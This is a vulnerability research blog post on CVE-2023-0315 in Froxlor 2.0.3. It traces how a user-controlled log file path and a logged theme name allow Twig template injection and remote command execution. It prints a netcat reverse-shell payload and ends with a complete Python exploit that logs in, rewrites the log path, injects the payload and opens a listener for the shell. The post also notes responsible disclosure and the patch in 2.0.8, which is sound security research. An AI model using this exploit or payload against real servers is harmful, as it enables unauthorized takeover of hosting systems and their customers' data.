Estimated Reading Time: 8 minutes
Froxlor is a web-based server management software for Linux-based operating systems. It is primarily used to manage web hosting environments and allows users to create and manage websites, email accounts, and FTP accounts.
It also provides tools for monitoring server resources and managing backups. Froxlor is written in PHP and uses a MySQL database to store its data. It is open-source software and can be installed on a variety of Linux distributions, including Debian and Ubuntu.
Froxlor is suffering from a bug that allows authenticated users to change the application logs path to any directory on the OS level which the user www-data can write without restrictions from the backend which leads to writing a malicious Twig template that the application will render.
That will lead to achieving a remote command execution under the user www-data.
In this blog post, we will trace the root cause of the bug and analyze why this issue happened, as well as which controls inside the application prevented us from exploiting this issue directly in other common cases.
While auditing Froxlor, I came across the following interesting code snippet in lib/Froxlor/FroxlorLogger.php
if (self::$is_initialized == false) { foreach (self::$logtypes as $logger) { switch ($logger) { case 'syslog': self::$ml->pushHandler(new SyslogHandler('froxlor', LOG_USER, Logger::DEBUG)); break; case 'file': $logger_logfile = Settings::Get('logger.logfile'); // is_writable needs an existing file to check if it's actually writable @touch($logger_logfile); if (empty($logger_logfile) || !is_writable($logger_logfile)) { Settings::Set('logger.logfile', '/tmp/froxlor.log'); } self::$ml->pushHandler(new StreamHandler($logger_logfile, Logger::DEBUG)); break; case 'mysql': self::$ml->pushHandler(new MysqlHandler(Logger::DEBUG)); break; } } self::$is_initialized = true; } }
This code snippet is responsible for writing internal logs file for Froxlor
based on the log type, line #103 will store the logfile
value based on an internal variable saved in the settings which we will analyze later; This action is performed if the log type was file
, and we will get back to this later too.
And in line #105 this file path will be created using touch
function, after that a check will be done in line #106 to see if that file is not writable then it will set the log file to be saved in /tmp/froxlor.log
, otherwise, it will be stored in the file path saved in $logger_logfile
variable.
And we can see that there are no actions taken to restrict the log file extension or the log file absolute path, which means we can write .php
file to any path we want even if it was the application document root, and that could be done by controlling/changing the value of logger.logfile
option.
The variable logger.logfile
is mapped as part of the logging
group in the file actions/admin/settings/170.logger.php
like the following:
'logger_logfile' => [ 'label' => lng('serversettings.logger.logfile'), 'settinggroup' => 'logger', 'varname' => 'logfile', 'type' => 'text', 'string_type' => 'file', 'string_emptyallowed' => true, 'default' => '', 'save_method' => 'storeSettingField' ],
And after tracing where this variable is being submitted, I found that the page /froxlor/admin_settings.php?page=overview&part=logging
will handle this variable like the following:
As we can see, the logger_logfile
and logger_logtypes
are submitted to the page admin_settings.php?page=overview&part=logging
.
So let’s see if we can control the logger_logfile
to drop a file on the document root under /var/www/html/froxlor/test.php
.
To do that, we will simply change the previous burp request and replace the logger_logfile
to be /var/www/html/froxlor/test.php
As we can see, we got the data submitted without issues in the body or in the response code, now let’s see if the file was created or not.
Great, the file was created successfully on the disk.
Now we need to figure out a way to write data in this file, so the journey of auditing the logger continues now.
So now we are controlling the file write, we need to write a malicious php code in that fake log
php file, to do that we will go back to the logger and see when we can trigger the logger to write data to the log file.
So we will now try to trigger one of the actions that will be logged to that log file, and during the analysis, I found that whenever an admin changed his/her Froxlor UI theme style, it will be logged using a function called logAction
.
And the following code in the file admin_index.php
is responsible for performing that:
} elseif ($page == 'change_theme') { if (isset($_POST['send']) && $_POST['send'] == 'send') { $theme = Validate::validate($_POST['theme'], 'theme'); try { Admins::getLocal($userinfo, [ 'id' => $userinfo['adminid'], 'theme' => $theme ])->update(); } catch (Exception $e) { Response::dynamicError($e->getMessage()); } $log->logAction(FroxlorLogger::ADM_ACTION, LOG_NOTICE, "changed his/her theme to '" . $theme . "'"); Response::redirectTo($filename);
What we need to understand from this code is that it will validate the value of the variable $theme
in case the page received a request to change the theme, the $theme
variable will store the POST
value of $_POST['theme']
.
After that, a full string that contains the controlled $theme
value is passed to the function logAction
which will trigger the Logger
to write the string to the file as LOG_NOTICE
log type and as admin
based on ADM_ACTION
.
This is the code snippet of the function logAction
:
public function logAction($action = FroxlorLogger::USR_ACTION, $type = LOG_NOTICE, $text = null) { // not logging normal stuff if not set to "paranoid" logging if (!self::$crondebug_flag && Settings::Get('logger.severity') == '1' && $type > LOG_NOTICE) { return; } if (empty(self::$ml)) { $this->initMonolog(); } if (self::$crondebug_flag || ($action == FroxlorLogger::CRON_ACTION && $type <= LOG_WARNING)) { echo "[" . $this->getLogLevelDesc($type) . "] " . $text . PHP_EOL; } // warnings, errors and critical messages WILL be logged if (Settings::Get('logger.log_cron') == '0' && $action == FroxlorLogger::CRON_ACTION && $type > LOG_WARNING) { return; } $logExtra = [ 'source' => $this->getActionTypeDesc($action), 'action' => $action, 'user' => self::$userinfo['loginname'] ]; switch ($type) { case LOG_DEBUG: self::$ml->addDebug($text, $logExtra); break; case LOG_INFO: self::$ml->addInfo($text, $logExtra); break; case LOG_NOTICE: self::$ml->addNotice($text, $logExtra); break; case LOG_WARNING: self::$ml->addWarning($text, $logExtra); break; case LOG_ERR: self::$ml->addError($text, $logExtra); break; default: self::$ml->addDebug($text, $logExtra); } }
This function will call the main logger initiated in $ml
and call addNotice
based on the log type LOG_NOTICE
based earlier.
$ml
is the instance of Monolog Logger
initiated in the code which will write the passed string as LOG_NOTICE
to the final malicious log path.
And again as a reminder, to do that we just need to send the following request to change the theme name from this page:
And the following request shows how we wrote a fake theme name to the disk:
As we can see, we wrote the text FakeData
to the php file and now we are ready to write a malicious php code.
Everything so far seems to be great, now let’s try to verify if the following code will be written to the file:
<?php phpinfo(); ?>
Unfortunately, the logger converted our text to htmlenitites and write it in the log file which means we can’t write valid php code using <
or >
tags.
After spending some time I observed that this one was handled by the underlying logger and we will not be able to use valid php code.
So how we can bypass this issue? After getting back to my notes, I noticed that the application using Twig
template engine to render the UI, and the templates exist in the path templates/Froxlor/
under .twig
extension, so I thought that I can create a new empty template that is used by the application and then write the logs “Fake Theme Name” which is a Twig expression to execute arbitrary commands.
We will write a new template templates/Froxlor/footer.html.twig
which is already rendered by the application and we will inject the following Twig expression into it:
{{['COMMAND']|filter('exec')}}
This Twig
expression will pass the COMMAND
string to exec
function, it’s a well-known Twig
expression referred in this page.
The expression should be filter-friendly and should be able to execute commands; To test that, I will use the following payload to achieve a reverse shell:
{{['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 1337 >/tmp/f']|filter('exec')}}
After submitting the payload to the application, we need to send a request to /
or any other path that will render footer.html.twig
which is almost every page in the application.
So if you are lost, we can wrap what we will do to test the payload and see if we can achieve a full remote command execution:
/var/www/html/froxlor/templates/Froxlor/footer.html.twig
theme
name via theme change option
to trigger the log function to write the new theme “payload” to footer.html.twig
footer.html.twig
.Let’s start with changing the log path:
Then let’s inject the payload into the log file:
And finally, let’s hit any page to get the payload rendered:
And we popped a shell!
After exploiting the bug, I wrote a full exploit to perform all mentioned steps and as usual, I used python to write the exploit, and this is the final exploit code:
#!/usr/bin/python3 # Exploit Title: Froxlor 2.0.3 Stable - Remote Code Execution # Date: 2023-01-08 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2023-0315 # Vendor Homepage: https://froxlor.org/ # Version: v2.0.3 # Tested on: Ubuntu 20.04 / PHP 8.2 import telnetlib import requests import socket import sys import warnings import random import string from bs4 import BeautifulSoup from urllib.parse import quote from threading import Thread warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 6: print("[~] Usage : ./froxlor-rce.py url username password ip port") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] request = requests.session() def login(): login_info = { "loginname": username, "password": password, "send": "send", "dologin": "" } login_request = request.post(url+"/index.php", login_info, allow_redirects=False) login_headers = login_request.headers location_header = login_headers["Location"] if location_header == "admin_index.php": return True else: return False def change_log_path(): change_log_path_url = url + "/admin_settings.php?page=overview&part=logging" csrf_token_req = request.get(change_log_path_url) csrf_token_req_response = csrf_token_req.text soup = BeautifulSoup(csrf_token_req_response, "lxml") csrf_token = (soup.find("meta", {"name":"csrf-token"})["content"]) print("[+] Main CSRF token retrieved %s" % csrf_token) multipart_data = { "logger_enabled": (None, "0"), "logger_enabled": (None, "1"), "logger_severity": (None, "2"), "logger_logtypes[]": (None, "file"), "logger_logfile": (None, "/var/www/html/froxlor/templates/Froxlor/footer.html.twig"), "logger_log_cron": (None, "0"), "csrf_token": (None, csrf_token), "page": (None, "overview"), "action": (None, ""), "send": (None, "send") } req = request.post(change_log_path_url, files=multipart_data) response = req.text if "The settings have been successfully saved." in response: print("[+] Changed log file path!") return True else: return False def inject_template(): admin_page_path = url + "/admin_index.php" csrf_token_req = request.get(admin_page_path) csrf_token_req_response = csrf_token_req.text soup = BeautifulSoup(csrf_token_req_response, "lxml") csrf_token = (soup.find("meta", {"name":"csrf-token"})["content"]) onliner = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f".format(ip, port) payload = "{{['%s']|filter('exec')}}" % onliner data = { "theme": payload, "csrf_token": csrf_token, "page": "change_theme", "send": "send", "dosave": "", } req = request.post(admin_page_path, data, allow_redirects=False) try: location_header = req.headers["Location"] if location_header == "admin_index.php": print("[+] Injected the payload sucessfully!") except: print("[-] Can't Inject payload :/") exit() handler_thread = Thread(target=connection_handler, args=(port,)) handler_thread.start() print("[+] Triggering the payload ...") req2 = request.get(admin_page_path) def connection_handler(port): print("[+] Listener started on port %s" % port) t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", int(port))) s.listen(1) conn, addr = s.accept() print("[+] Connection received from %s" % addr[0]) t.sock = conn print("[+] Heads up, incoming shell!!") t.interact() if login(): print("[+] Successfully Logged in!") index_url = url + "/admin_index.php" request.get(index_url) if change_log_path(): inject_template() else: print("[-] Can't login")
And we get this shell after running the exploit:
Froxlor team asked me to report the bug via huntr.dev, I reported the bug and was rewarded a small appreciation bounty, Froxlor team issued a patch for this bug in version 2.0.8.